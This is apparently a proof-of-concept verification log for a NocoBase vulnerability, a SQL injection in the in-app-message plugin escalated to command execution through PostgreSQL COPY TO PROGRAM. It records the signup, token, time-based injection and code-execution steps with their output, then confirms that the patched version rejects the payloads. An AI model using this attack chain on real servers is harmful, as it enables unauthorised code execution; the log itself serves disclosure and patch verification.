############################################################
# CVE-2026-52887 — NocoBase SQLi -> PG-superuser RCE
# @nocobase/plugin-notification-in-app-message <=2.0.60
# Target: nocobase/nocobase:2.0.57 + postgres:16 (compose default: role nocobase = superuser)
# Data: 2026-08-03T03:45:21Z
############################################################

== [1] signup publico (auth-basic allowSignUp=true default) ==
{} HTTP 200

== [2] signin -> bearer token ==
  token_len=255

== [3] SQLi time-based (discriminante) ==
  PG_SLEEP(5): 5.088092765s
  control:     .050290864s

== [4] RCE via stacked COPY TO PROGRAM ==
  pre:  cat: /tmp/RCE_EVID: No such file or directory
  copy HTTP 200
  post: uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) vbox 

== VERDICT: CONFIRMADO VULNERAVEL (2 tecnicas: time-based 5s + RCE file-write output real) ==

############################################################
== [5] PATCHED boundary: nocobase/nocobase:2.0.61 ==
############################################################
  time-based payload PG_SLEEP(5): HTTP 400, ~0.04s (sem delay) -> rejeitado por parseLatestMsgReceiveTimestampLt
  COPY TO PROGRAM payload:        HTTP 400, arquivo /tmp/should_not NAO criado
  numeric $lt legitimo:           HTTP 200 (funcionalidade preservada)

== VERDICT FINAL ==
  2.0.57 -> CONFIRMADO VULNERAVEL (time-based 5s + RCE COPY TO PROGRAM output real uid=999)
  2.0.61 -> PATCHED (payload 400, numeric 200)